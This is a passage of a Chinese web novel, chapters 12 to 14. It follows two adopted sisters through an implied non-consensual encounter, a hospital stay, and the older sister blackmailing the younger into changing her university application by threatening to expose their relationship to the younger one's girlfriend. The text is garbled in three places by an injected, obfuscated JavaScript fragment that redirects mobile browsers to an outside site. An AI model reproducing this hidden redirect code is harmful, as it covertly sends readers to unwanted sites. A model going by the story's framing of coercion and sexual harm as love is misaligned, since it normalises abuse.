为什么要放手?放手是失去!她不要失去她的荷荷! 12. 第 12 章 chapter12 欲望与理智在此刻全体失控,比以往任何的一次都要疯狂。 愤恨、嘶喊、难堪,一齐织成了一张大网,几乎裹挟得苏青荷快要窒息。 最后,终究还是平静终结了一切。 苏青沅抱住她,情.欲褪散后,随之而至的依旧还是愧疚。 她知道自己失控了,或许是嫉妒,又或是愤怒,又或者酒精的作用,苏青沅承认,自己今晚失控失去了力道,把她吓坏了。 苏青沅从背后环住她的腰,轻轻的吻落在她颈后,苏青沅闭上双眼,愧疚地无奈道歉:“对不起,荷荷,真的对不起。” 苏青荷浑身颤抖着,眼泪不受控制地从眼眶里涌出,她明明不想哭,可不知怎么,生理性地流出这些眼泪。 身体深处疼得几乎麻木,她已经没有任何力气再去思考了。 她知道自己该要睡,连日来的缺觉,她觉得自己像一艘破败了即将要沉没的船只,她需要休息,如果再不休息,她没有精力去应付接下来冲刺的一个月。 无数的刀尖刺戳而来,她知道自己早已在劫难逃。临近奔溃的边缘,她也同样知道,自己几乎就快要疯了。 整整睡了两天,苏青沅自那晚就没有再回来。五一假期很快结束。四号提前回学校,苏青沅送到她校门口。 苏青荷坐在车后座,伸手拉车门,拉了两下没有拉动。车门被锁住了。 苏青沅坐在前面,垂下双眸,沉默片刻,低头开口道:“对不起荷荷,这一个月,我都不会来找你,这段时间,我们分开,高考之前你放假回家,也不用担心会碰上我。我给你卡里充了钱,你要买什么干什么,都可以用,高考的事情,你自己处理安排吧,有不懂的,都可以去问你班主任。如果有其他什么事情,也可以给徐琦打电话,我都不会过问。还有,那个乔楠,我不强制你。” 说完,她按下车门上的按钮,将后车门解锁。 苏青荷扶着车门把手微微停住,阳光从车窗外洒进来,照出空气里的灰尘浮沉,她没有说话,伸手推开车门,下车离开,头也不回。 苏青沅看着镜子里的背影,看着她一点点消失在视线之中,久久才收回思绪。 苏青荷回到宿舍,空荡荡的一层楼上,没有一个人提前回来。 水槽前有一面镜子,她走过停了下来,转头去看镜子里的人。 瘦削的两肩,一张脸庞上只有乌黑浓密的两只眼睛,空洞而大的吓人。 她伸手摸自己的脸颊,触碰的瞬间,忽然又缩回了手。 回到宿舍,书包扔在床上,她坐在床边,目光呆呆地望着空处。 脑子里混沌得厉害,她仿佛像是失去思考的能力。 “青荷!” 门口忽然传来一道喊声。 苏青荷恍惚中回过神,抬眼看过去,见是她的同班同学符乐章。 符乐章身上还背着书包,显然也是放假刚回来,她笑着说:“真巧,我还以为只有我会提前回来,你也是提前回来做功课的吗?” 苏青荷轻抿唇,没有说什么。 符乐章:“怪不得你成绩好,天才也是需要努力的。对了,你吃饭没啊?没吃的话,我们一起去外面吃,食堂还没有开门呢。” 苏青荷:“没事,我还不太饿,你去吧。” 符乐章见她脸色不是很好,神情也恹恹地,看起来心情不太好的样子,也就没有强求,只说:“那好吧,我先回去了。” 苏青荷嗯了一声。 符乐章转身回到旁边的宿舍间,后知后觉愣站在那里,片刻,她默默又走回到旁边宿舍,伸头问:“青荷,我能借鉴一下你的三模语文试卷吗,我想参考一下。” 苏青荷愣了下,“哦可以的。” 说着转身拿过书包,找夹在中间的试卷,符乐章走进宿舍,站在苏青荷旁边,瞥见她颈后有一道青紫。 苏青荷转头把试卷递给她,撞见符乐章神情怔愣,四目相撞的瞬间,符乐章忙笑了一下以掩饰,接过她手里的试卷,“谢谢青荷,你不急用吧,我周一还给你可以吗?” “可以的。” 苏青荷回教室做试卷,一直到傍晚五点钟才回来。 符乐章一直都在宿舍里没有出去,看见苏青荷回来,她正拿着衣服要下楼洗澡,她问苏青荷:“青荷,要一起去洗澡吗?” 苏青荷轻怔了下,摇头说:“不用,我待会自己去就可以了。” 符乐章笑着打趣:“我知道了,你是不是怕乔楠吃醋?” 苏青荷微微错愕,没有说话,符乐章笑了笑,就和她挥手说:“和你开玩笑的,我先走啦!” 回到宿舍,苏青荷平躺下来,看着头顶天花板兀自发怔。想起什么,她又忙起来,跑进洗手间。 她最近去不了大澡堂了,南英中学是老校区,没有独立浴室,整个高中洗澡的地方都在一起。 她看见身上弄的青紫,腰上,胸口上,腿上,已经过去了三天,还是有些明显。所有不堪的记忆,忽然一下涌进脑海里,苏青荷忍不住发抖,眼眶倏地酸涩,她抬手抹去眼泪,飞快洗漱完回到宿舍。 五一假期很快结束,南英高三即将迎来高考倒计时最后一个月的冲刺。 这个月中期,还有最后一次的三模考试。渐渐没有之前那样功课压力了,老师们集体减少了许多的作业,以巩固基础知识点为主,不再攻克难题大题。 三模的考试题目,相比前两次是偏简单的,算是给所有考生缓解压力的最后一次大考。 苏青荷稳定发挥,重回年级第一,甚至还创造了一个新的纪录,三模考试,她也是全市的第一。 这一个月来,苏青沅也如约没有出现,也没有给苏青荷打过一个电话。 像是一种错觉,苏青沅从此就在苏青荷的生命里消失。 紧接着高考正式来临,六月初的A市天气并不好,一连下了好久的雨。 高考三天,雨也没有停。 在这淅淅沥沥的初夏六月,她们彻底结束了前半生仿佛最重要的一件大事。 高考结束,整个世界一片欢腾。 有人欢呼,有人尖叫,也有人漫天扔白花花的试卷,只有苏青荷,没有想象中的激动和兴奋,唯一有的,只是和这灰蒙蒙的天空,和无休止缠绵的细雨一样的绵长平静。 也忽然像是一下子失去了所有,从此不再需要做繁重的试卷,也不需要再为缺觉而苦恼,她拥有了自由的空气和时间,可却好像是失去了目标那样而无所事事。 乔楠和她相约,成绩出来填完志愿就去卉南毕业旅行。 七月的卉南,是一个美丽的城市。她想她们在人生里留下一个最美好的回忆。苏青荷答应了她,等填完志愿第二天,她们就出发去卉南。 苏青荷在家住了十天,这一个多月以来,苏青沅一直没有出现,从高考开始到结束,她都没有来。 苏青荷也没有主动给她打过一个电话,像是一下子,她在这个世上消失。 直到十九号傍晚,徐琦忽然给苏青荷打了一个电话,她看见屏幕上的拨号,踌躇良久,最后接通了电话。 “喂,徐琦姐。” “荷荷,你姐前天出车祸了。” 苏青荷一怔,心瞬间提到嗓子眼,“什么?” 徐琦:“你别怕,是肋骨骨折,她已经住了两天的医院了,我这边没法一直待在这,公司还有事,你姐不要我告诉你,怕你担心,但我怕她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423083|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人住院不方便,她又不肯让外人护工照顾l,我想着还是给你打个电话,让你来照顾她,你现在在家吧,我去接你。” 苏青荷忙道:“我现在过去,我自己打车。” 徐琦:“好,还有你把她的衣服还有生活用品都带来吧,应该要住一阵子,我把医院地址发给你。” “好。” 挂断电话,苏青荷急忙搬出箱子,把苏青沅的衣服还有生活用品一起收拾好,又打车赶到了医院。 已经是晚上七点,苏青荷找到十六楼病房,是单人病房,徐琦在门口等她,“这边荷荷。” 苏青荷拖着箱子过去,看见病房床上的人背朝着里,手背上还挂着点滴,已经睡着了。 “她,怎么样了?”苏青荷望着那道背影,温声问。 徐琦说:“连环追尾,她是第二辆,肋骨断了四根,伤得不轻,她怕你害怕就没告诉你,但好在没有什么大事,医生说要休养一段时间了。我不能晚上也一直待在这,所以还是给你打了电话。” 苏青荷抿住唇,拉着箱子把手,道:“好,我来照顾她吧,你回去吧。” 徐琦说好,走了两步又想起来回头说:“你姐这段时间状态有些不大好,估计是太累了,又经常应酬喝酒,天天加班到很晚,我劝她她也不听。胃也不大好,前几天闹胃疼闹了好几次,其实是她经常不记得吃饭,我买了饭送进去,她也经常不吃,有时间,你还是劝劝她吧,工作再忙,身体也很重要。正好,你最近高考结束放暑假,多陪陪她。” 苏青荷听见徐琦这番话,忽然就想起从五一过后,她们冷战的事情。 她答应不打扰她,也不出现在她的面前,就连出了车祸都没有告诉她。 不爱惜自己的身体,拼命地加班应酬,把自己折腾成这样。 是报复她,还是和自己作对? 是谁说她成熟聪明,分明过分得很。 苏青荷垂眸,这一刻忽然有些失落,她抬眼看向房间里的背影,淡淡道:“我知道了。” 徐琦离开,苏青荷回到病房,把行李箱所有东西拿出来整理摆好,又把她从里到外的衣服全都叠好挂进壁橱里。 苏青沅一直没醒,护士中途进来换过一次点滴瓶,十一点才结束所有输液。 苏青荷一直坐在床前等她醒来,一直等了很久,最后趴在床边睡着了。 不知过了多久,苏青沅睁眼醒来。 房间里昏暗,浑身酸痛,手背上也觉刺痛,她抬眼看过去,在看见床边的身影,整个人一下愣在那里。 小小的一张脸,刘海盖在前额,此刻滑落垂到一边,露出鬓边不起眼的一颗痣。 苏青沅记得,她这里一直有一颗痣,初二有一年她们去爬元香山,山上有一个算命的老头,她说是骗子,可荷荷不肯信,非缠着和她一起算了一卦。那算命的看见这颗痣,说荷荷是大富大贵的人。 苏青沅当时笑了一下,怼那个老头,说:这要你算么! 其实这颗痣不明显,小小的一点,可苏青荷不喜欢这颗痣,所以从记事起就一直留了刘海,以此遮挡住。 往事浮上心头,苏青沅也觉得温馨。 她不知道自己究竟爱她什么,是家人是姐妹,可是与不是,她都无法否认,眼前的人,是她生命里最重要的人。 她无法接受失去她,纵然她排斥这个关系也好,还是恨她也罢,她都不能够失去苏青荷。 苏青荷趴在床边,她睡得很浅,像是察觉到有一道目光凝望过来,她醒过来,抬眼就与眼前人四目相对,一个多月不见,一时间恍惚住没有反应过来。 苏青沅看着她,放在她脸旁的手指轻抬,刮了一下她的鼻尖,笑道:“怎么,不认得了么?” 13. 第 13 章 chapter13 她手刮过来,苏青荷本能闭了一下眼睛。 抿住唇没有说话,她坐起身,双眸轻轻垂下来。 深夜寂静,病房里没有一点的声音。她们一个多月不见,上一回见面,还是五月放假那一次。 苏青沅看着她低头不语,知道这一个多月的时间以来,她也并未放下。大约是徐琦给她打了电话,告诉她自己出车祸的事情,但她还是来了。 她撑手肘想坐起来,刚动了一下,就扯到了肋骨,不由地闷声哼了一声。 苏青荷见状,忙站起身走过去,看见她疼得满脸是汗,唇色惨白没有一点血色,她急声问:“你要做什么?” 苏青沅抬头看她,说:“你扶我一下,我想坐起来。” 苏青荷伸手从她肩膀下穿过去,轻轻托起她的身体,然后又将枕头摆好放下她身后,一点点调整好角度,询问她的意见:“这样可以吗?” 苏青沅轻轻侧目,看见她的脸颊双眸,她轻轻用眼睛蹭了她一下,低低地嗯了一声。 苏青荷脸颊触碰到她,不由地一怔。她放下手,刚要直起身离开,手腕被人抓住。 “能不能不要走?” 苏青荷站在床边,低头看见她的手掌,不动声色挣拽出来,诞声说:“我不走。” 说完,她在旁边的凳子上坐下来。 “高考还顺利吗?”苏青沅问。 “还好。” “成绩什么时候出来?” 苏青荷:“还有几天。” “暑假了,有没有计划要出去旅游?”苏青沅看着她问。 “想去卉南。” 苏青沅微垂眸,试探性地问:“和乔楠?” 苏青荷停了两秒,然后说:“是的。” 良久,房间里寂静无声,两人彼此对面坐着,谁也没有再开口接下去这个话题。 “我想去洗手间。”苏青沅淡淡道。 苏青荷站起身走向床边,要扶她下床,可苏青沅伤得太严重,上半身几乎不能动,苏青荷不知道她究竟伤在哪里,抱住她的腰不敢用力,苏青荷说:“要不然,我拿个盆——” “荷荷,如果有一天我成了残废,那我宁愿不要活着。” 苏青荷抬眼看向她,她知道,她向来都是极骄傲的,不管什么时候,她都不允许自己成为一个无用的人。 苏青荷扶住着她,慢慢地走到卫生间,不过十几步的路,走了好几分钟。 苏青沅关上门,没有让她跟进去,苏青荷就站在门口等她。 半晌后,苏青沅开门出来。 苏青荷扶着她又回到床上,她转身去倒水,苏青沅看着她的背影,忽然开口问:“什么时候去卉南?” 苏青荷倒水的手轻怔住,如实说:“等填完志愿。” “你们要正式开始交往吗?” 苏青荷背朝着她,水杯逐渐倒满,却迟迟没有动。 苏青沅靠在床头,目光无偏颇地落在她身上,不愿意放过她一丝一毫的神情,继续开口道:“你打算和她在一起,可她呢,她也是和你一样这样坚定么?如果她知道我们的关系,她还会一如既往选择你么?” 苏青荷蓦地慌了一下,手里的杯子一下失手掉在地上,她急忙蹲下去要捡。 苏青沅轻轻拧眉,怒喝住她:“不许捡。” “回答我的话。”苏青沅看着她低着头蹲在地上,再次开口逼问她。 苏青荷眼眶酸涩如碾沙,她抬起头,问她:“你什么意思?” 苏青沅盯着她的眼睛,像志在必得那样笃定地说:“爱情讲究坦诚,你难道打算就这样一直瞒着她,欺骗她么?如果有一天她从别人口中得知,她会接受吗?一段感情以欺骗和不坦诚开始。根本就不能够称之为爱。” 苏青荷紧紧抿住唇,眼里生出恨意,道:“这是我的事情,不需要你插手。” “你并不信任她,对么?你没有这样的勇气坦白,本质是你们之间的感情太浅薄,你不信任她,甚至你都无法确保她是否信任你,你们之间,连这样最基础的信任都做不到,何谈什么爱情?荷荷,你承认么,你没那么爱她,而她那一点浅薄的不值一提的示好,不过是你繁重的高中生涯里无从选择的一点点调剂品而已,它撑不了多久。” 苏青荷眼眶微湿,讽笑道:“这不过是你用来拆散我们的谬论而已,你不是我,你也不是她,凭什么就这样断定?” 苏青沅盯着她满是恨意的眼神,抿住唇久久无言,最后冷冷扯起讽刺的笑容。 苏青荷望着那笃定的讽笑,只觉自己几乎透不过气来,她像是被人无情地通透地看遍了,那些她不敢承认的事情,彻底血淋淋地摊在了她的面前,逼得她不得不承认,自己和苏青沅之间,永远是自己落在下风。 一如此刻,她光是坐在那里,居高临下的一记眼神,就可以将自己无情地撕碎。 六月二十五号,高考正式出成绩。 苏青荷稳定发挥,总分全年级第一,全市第三名。 二十七号,所有人开始填报志愿。 乔楠意向填报医科类的大学,目前医科类的高校,其实最炙手可热的是在S市,A市虽然也不逊色,但是S市更偏向国际化。 苏青荷知道乔楠只跟随她,她们早就约好一同留在A市的,可是现在,苏青荷忽然想和乔楠一起去S市。 她知道,乔楠去S市,发展会更有前景,她的班主任也曾建议她考S市的医科大学。 早上,苏青荷碰见乔楠,对她说:“乔楠,我们去S市吧。” 乔楠微愣,想起上回有一回,她也和她说过这样的话,可后来又没有提,她以为不过是犹豫没有做最后决定的缘故。 她们一早就说好一起留在A市的,A市有全国最顶尖的学府,以苏青荷的成绩,考A大没有任何疑问,所有的老师同学,也都默认她会考A大。 对于任何一个考生来生,A大是人生的梦想。 乔楠不是没有发现这几个月来苏青荷的变化,她伸手拉住她的手,轻轻问:“荷荷,是不是发生了什么事情?” 苏青荷故作轻松笑了一下,说:“能有什么事,我只是想,一直都在A市生活学习,突然想离家远一点,我们成年了,要过成年人的独立生活,再说了,S市一样很好,没有什么一定非要留在A市,对不对?” 乔楠看着她,妄图看穿她眼里的伪装,她轻声道:“荷荷,我不需要你为我妥协迁就,如果你是为了我,那么我不接受。” 乔楠知道,自己有两个不相上下的选择,甚至S市更胜一筹。 可对于她来说,这样一点点的差距,比不上她要和苏青荷在一起四年的时光。 苏青荷抬眼看她,努力抿起笑容,说:“我是为你,可也是为我自己,我想和你去一个新的城市,有新的开始,过新的生活。乔楠,我不后悔,我们一起去S市,好不好?” 乔楠牵住她的手,低声再次问她:“真的是这样吗?” 苏青荷嗯了一声,说:“我不是为谁牺牲,我只是想要一种新的生活。” 乔楠看见她眼里的坚定,答应道:“好,我们一起去S市。你想好填什么学校了吗?” 苏青荷笑:“嗯,S大。” 志愿填报全年级所有考生打散,分批次在机房填报。苏青荷第一批,乔楠在后一批。因为文科生排在前面,最后一批文科里,后面就跟着乔楠她们。 乔楠看着志愿第一栏里自己的选择,S市医科大学,最终按下确认。 “乔楠。”旁边忽然有人喊她。 乔楠转头,看见旁边的同学,有些眼熟,但记不起是几班叫什么名字了。 “你是……” “我叫符乐章,一班的,和苏青荷同班。” 乔楠不明她的意图,只点了一下头,“你好,有事情吗?” 符乐章笑了下,视线回到自己的电脑上,因两人坐的位置很近,她轻声攀谈道:“你知道,苏青荷有女朋友吗?” 乔楠愣住,转过头去看她。 符乐章察觉到她的目光,她笑着转头,说:“我只是瞎说的,你别当真,我只是无意间看见她身上有吻痕,那是你的吧?” 乔楠双眸微沉,紧紧盯住她没有说话。 符乐章也依旧是笑,“诶,你别生气呀,我都说了,我是瞎说的,你别当真。你放心,我不会对别人说的,反正都毕业了,大家都是成年人,你们又是一对,也没什么关系。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423084|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乔楠:“你不知道,给别人造黄谣,是犯法的吗?” 符乐章笑容僵住,她看着乔楠明显怒意生气的眼神,她勾唇冷笑了一下,道:“是五一放假回来的事情。”随即关掉电脑,起身离开。 乔楠坐在那里,脑子里混乱一片,不明白那个符乐章究竟是什么意思,五一假期……五一她回了乡下看望外婆,没有和荷荷见面过…… 不是这样,她为什么要相信那个人的话…… 关掉电脑,乔楠出了教学楼,看见前面花坛底下台阶上坐着的背影。 她站在走廊底下,脚步停住,目光遥遥看过去,迟迟没有往前。 她知道,这学期以来,苏青荷一直有变化,对她也和从前不一样了。 她也不得不承认,苏青荷一定发生了什么事情,她几次三番都问过,可她都不肯告诉她。 一如此刻,那远处的身影坐在那里,来来往往嘈杂的人群,她独自坐着,却还是让人一下子感知到她身上的孤寂。 走到她的身后,眼前的人也没有察觉。乔楠在她身后蹲下来,双手从后蒙住她的双眼。 “是谁?”苏青荷浑身缩瑟了下,急忙抬手去抓住蒙在眼睛上的手,声音里一瞬的慌张,出卖了她。 乔楠放开手,苏青荷转过头来,松了一口气,笑说:“是你。” “不是我,难道还有别人?”乔楠问。 苏青荷望见她眼睛里的探究,一时不明所以,她笑了笑,“不是,只是你从来没有蒙过我的眼睛。” “那谁蒙过你的眼睛吗?” 苏青荷抿住唇不语,只看着她,几秒的沉默之后,她才开口:“怎么了?” 乔楠笑说:“没事,去吃饭吧。” 苏青荷想起来,说:“我要先回一趟医院。” 乔楠知道苏青沅出了车祸,这几天也一直是苏青荷在照顾。 她牵起她的手,道:“那我们一起走吧。” 苏青荷知道她顺路,到四号线正好要换乘。 她道:“好。” 两人牵手往地铁站,苏青荷察觉出乔楠有心事,一路上她都没有说话,苏青荷主动问她:“我们什么时候去卉南?” 乔楠:“你姐有人照顾吗,不行的话,以后也行的,反正也不急这一时。” “医生说她恢复得很快,下月就能出院了。只要不剧烈运动,就没什么关系了,再说有徐琦姐照顾她,没有事的。” “那就下月吧。” 苏青荷:“好。” 地铁到中央公园,乔楠要换乘公交。苏青荷跟着她一块下了车。 乔楠:“荷荷……” 苏青荷挽住她的手臂,与她相贴,看着她的眼睛笑说:“我送你回家。” 乔楠也笑,“什么时候变得这么爱粘人了。” 苏青荷将下颌抵在她肩臂上,两只眼睛笑得像月牙儿,声音里有撒娇的意思,嗫嚅道:“你不喜欢吗?” 乔楠望着她漂亮的一双眼睛,天真说笑的时候,像一只狡黠的小精灵。她伸手拨弄她额间的刘海碎发,温柔地说:“喜欢。” 她们一起出了地铁站,坐电梯上去,苏青荷今天有意贴着她,乔楠能够感知得出来。 走到马路边,热浪随风一下扑过来,乔楠停住脚转身道:“还是不要送我了,天太热,你直接去医院吧,这一班公交经常大半天才来一趟,你赶回来都要下午了。” “我不怕。” 乔楠笑:“但我心软,不舍得你奔波。” 苏青荷眼里带笑,仰头看着她,轻轻喊她:“乔楠……” 乔楠嗯了一声,手指与她相缠,纵然自己这样说,但还是不想和她分开。 苏青荷慢慢凑过去,在她唇上轻啄了一下,随后抬眸望着她,深情地说:“我爱你。” 乔楠微微怔住,这是她们认识以来,第一次亲吻,也是她的初吻。 她垂眸睨着眼前的粉唇,不知怎么了,比思考先一步脱口而出:“荷荷,这是我的初吻,你呢,你是么?” 苏青荷错愕了一下,只两秒的迟疑,却被乔楠全部看在了眼里。不愿意等她开口,乔楠伸手拥抱住她,唇瓣贴在她的耳垂上,轻轻告诉她:“荷荷,我爱你。” 14. 第 14 章 chapter14 苏青荷回到医院,轻轻推开门进病房。床上的人背朝着她,闭眼睡觉还没有醒。 房间里冰凉得让人有些打颤,空调温度开得很低,被子掉了一半荡在床底下,她走过去,把被子重新扯上去慢慢替苏青沅盖上,又将空调温度调高了几度。 “回来了。”身后突然传来一道声音,苏青荷下意识吓了一跳。 她转过身,嗯了一声,把遥控器放在旁边桌上。 苏青沅要起身坐起来,苏青荷见状,弯腰去扶她,靠坐在床头。 “志愿填好了么?” 苏青荷放开她,说:“填好了。” 苏青沅转身去端床头的水杯,漫不经心地问:“填的哪里?” 苏青荷没有说话。 空气里只剩下无声的压抑,温度变高,空调制冷的声音也在一瞬间熄下来,呜的一声。 “下午回学校,你去改回来,除了A大,其余的你都不可以去。” 苏青荷一怔,抬起眼看她,咬牙紧紧抿住唇。 苏青沅喝了半杯水,将杯子重新放在床头,视线重新落回她的脸上,前所未有的沉重,道:“别这样看我,我早就告诫过你,你要和谁恋爱旅行,我都不干涉,只有志愿这件事,我不会答应。” “如果我不同意呢。”苏青荷忍住掉泪的冲动,仅仅只这样一刻,她仿佛已经用尽了全部力气。 苏青沅盯住她,眼神里带着不甘与隐忍的压制,良久才声音沉到极点问她:“你就那么爱她,不惜拿自己前途陪她一起?” 苏青荷眼眶发红,盯着她没有说话。 苏青沅看见她隐忍发红的眼睛,知道自己逼她狠了,从小到大,她对她都是有求必应,她宠她,爱她,只要她想要的,她都会满足她。 可是,志愿这件事,苏青沅无法迁就她。 苏青沅伸手朝她,语气放缓了些许,轻轻道:“过来姐姐这里。” 苏青荷眼泪掉下来,视线模糊地望着她的手掌,却迟迟没有动。 “过来。”苏青沅再次命令。 从小到大,苏青荷一直都听姐姐的话,她信任她,把她当成这个世界最聪明最可以依靠的人,只要她决定的事情,一定都是对的、正确的。 可是,可是不知道从什么时候起,她无法再面对她,也无法再回到过去和她在一起时的心境。 苏青荷哭着走过去,把手放在她的掌心里,在床边蹲下来,声音里有极力控制的哭腔,求她:“姐,我求求你,你让我自己决定自己的人生,好不好?人生有许多种选择,并不是只有这种才是最好的,即便是错的,我也甘愿。” 苏青沅看着她满面泪痕,哭红的眼睛里只剩下畏惧和卑微,她有些不忍,伸手替她擦拭脸颊上的眼泪,开口道:“你明明是逃避,你用这样的方式和想法,来逃避你此刻的处境,逃避我,早晚有一天,你会后悔。我也告诉过你,这个世界上,没有任何一个人值得你放弃自己的梦想与前途,我不能够,那个乔楠也不能够。荷荷,我不会容忍你拿前途做赌,等你再长大一些,你就会明白,一个好的起点,比起后天的努力,重要的多得多。它带给你的,不止是眼界,还有机会。” 苏青荷哭得心口像被刀割,唇瓣颤栗着一个字也说不出来。 “你和她一起约好去S市,是不是?” 苏青荷仰面看她,不语。 苏青沅掏出她口袋里的手机,苏青荷愣了下,见她解锁找到通讯记录,点开乔楠的号码,她大惊失色,伸手去夺,“你要做什么?!” 苏青沅扣住她的手腕,郑重告诉她:“去把志愿改回来,否则我会告诉她,我们之间的关系,你也大可以借此来考验考验你们之间的感情。” 苏青荷含泪,睁着怒目看向她,咬牙切齿恨道:“为什么,为什么你要这样残忍?!” 苏青沅知道她吃硬不吃软,好说好歹根本不起作用,她是个固执的人,不见棺材不会掉泪。 手指按在那串号码上松开,通话一下拨了出去,苏青荷脑子里轰隆一声,一颗心瞬间提起,她急声道:“我,我改,我去改!” 苏青荷哭出声来,颤抖着抓住她的手求她:“不要告诉她,求求你,姐,我求求你!” 电话被接通,屏幕上的计时一秒一秒跳动,甚至能听见电话里那头叫“荷荷”的声音。 苏青沅挂断了电话,转头看她:“听我的话么?” 苏青荷看她,眼神里满是颤栗,她抽噎着点头。 苏青沅将手机还给她,又再次拉住她的手腕,将人拽过来,对她说:“不用告诉她,你改了志愿。” 苏青荷抬起眼睫,眼泪不受控制地从眼眶里滑落,她在这一刻才忽然醒悟过来。 她要拆散她和乔楠,她从来就没有真的答应,她和乔楠交往。 苏青沅继续替她擦去眼泪,声音冰凉而又残忍,道:“你应该知道,对她来说,去S市比留在A市更有前途,不过四年而已,你等不了么?” 苏青荷浑身抑制不住地颤抖,一双眼睛里只剩下绝望。 “不许哭。”苏青沅不愿意见到她的眼泪,看着她淡声喝道。 手里的手机忽然响起铃声,苏青沅低眸瞥见来电显示,道:“出去接吧。” 苏青荷拿着手机,起身出了房间。 走到走廊尽头窗户下,她努力深吸了口气,尽量不让自己声音再颤抖,然后接通电话。 “喂,乔楠。” 乔楠刚到家,就接到了苏青荷的电话,但是电话里一直没有声音,又再次给她回了一个电话。 她道:“是有什么事吗?电话里一直没有声音。” 苏青荷咽了下酸楚的喉头,故作轻松轻声说:“没事,就是不小心按错了。” 即便极力掩藏,可电话那头乔楠还是发现她声音的变化,她问:“怎么了,声音有些怪。” 苏青荷吸了口气,抿起笑容说:“没事,刚刚喝水呛了一下。” “乔楠,”她突然喊她,“我们明天就去卉南旅行,好不好?” 乔楠不知道她怎么突然决定,但还是答应她:“好,那我们今天就买票。” 苏青荷:“好。” 回到病房,苏青荷收拾壁橱里的东西,苏青沅坐在床头看见她的背影,问她:“要去哪儿?” 苏青荷并不掩饰,道:“我下午要去看妈妈,明天和乔楠去卉南。” 苏青沅被子下的手心捏紧,问:“去多久?” 苏青荷背朝着她,说:“还没有决定,累了就回来。” “票买好了么,暑期的票恐怕难买。” 苏青荷微停住,然后转过身看她,问她:“你能转点钱给我吗?” 苏青沅看她,静静沉默了几秒,最后道:“拿我的卡去吧。” 苏青荷说:“好。” 下午去了康苑看望李曾素,苏青荷在那里陪了她一下午。天气热,不方便外出,苏青荷只在房间里,和她说了很多的话。 李曾素神智不清醒,语言功能也丧失了大半,经常听不懂别人说的话,但她却记得苏青荷。 自从苏青荷知道,她不是妈妈亲生的孩子,心里虽然不愿意承认,但还是有了些许轻微的变化。 谁说血缘关系不重要呢,没有了那一层亲密,她忽然觉得整个世界都是不真实的。 李曾素坐在轮椅上,在窗前晒太阳,苏青荷扶在她膝上,心情低落地幽幽道:“妈妈,你当初为什么不把我留下来,又为什么把我送进苏家呢?” 如果她没有遇到苏青沅,会不会就没有今天所有的事情了。 她闭上眼睛,不知道怎么,记忆在此刻忽然变得模糊,她记不清从小到大发生的每一件事情了。 她是和姐姐一起长大的,明明有很多很多的事情,可她却一下子,一件也记不起来,仿佛整个世界里,只剩下,苏青沅这一个人。 一直陪着李曾素到傍晚天黑,苏青荷问及医生母亲近来的身体状况,她发现,母亲这半年来瘦了很多。 张医生想起苏青沅的嘱咐,没有告诉她,只说:“没什么大问题,人上了年纪,就是到了夏天肠胃不太好,有些弱,调养调养一阵子也就没事了。” 苏青荷点了点头,说好。 晚上没有再留在病房,苏青荷回了家。 晚上八点,医院里苏青沅收到几条短信,是机票还有酒店的信用卡扣款短信。 她看着屏幕上的酒店名称,一点点收紧掌心,思绪陷入沉重。 今晚人没有回来,她也没有打电话过去询问。只有她的班主任鲁慈慧打电话过来,告诉她,下午苏青荷回学校修改了志愿。 上午苏青荷填完志愿后,鲁慈慧就打了电话告诉她,她把志愿填到了S大的事情。 苏青沅知道,她是为了摆脱自己,才和乔楠约定,一起去S市。 五一那一回,她失控伤害了她,所以对于她和乔楠交往这一件事,她就一直没有逼她,也放任她们一而再再而三地接触。 毕业了,她十八岁了。 不再是那个事事都会听她的小女孩儿了,她开始反抗她,叛逆地决定事情,她开始与她为敌,时时刻刻视线交汇的,都是恨意的目光。 曾经的苏青荷,早就消失不在了。 她知道,等到暑期结束,她们各自在不同的城市,这样的接触也迟早会断。 可是,可是她忽然发现,她无法忍受。哪怕只想象她们一同在卉南,单独相处,或许拥抱,或许亲吻,或许还会同一间屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423085|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同一张床塌……她几乎都不能够想象一下那样的画面。 几乎一夜未睡,天刚刚亮,七点不到,苏青沅给她打了电话。 先是未接,后来才接通。 电话里声音冷淡:“喂。” 苏青沅问她:“是几点的飞机?” 苏青荷沉默片刻,而后告诉她:“十一点。” “待会来一趟医院吧。” 苏青荷:“你有事吗?” 苏青沅忽然觉得悲伤,电话里久久沉默,最后才轻轻哑声道:“我有些想你。” 苏青荷坐在床上,房间里昏暗,她看见床尾上横着放的大型玩偶。 那是她十一岁的时候,苏青沅送给她的生日礼物。当时国内没有货,她特意从国外替她买的。 她高兴地天天抱着睡觉,这些年也一直躺在床尾,那是一段特别的回忆和时光。 苏青荷闭上眼睛,手指插进的长发里,皱起眉无奈道:“你如果没有事,我就挂了。” “荷荷,”苏青沅喊她,“陪我吃个饭吧。徐琦今天不在。” 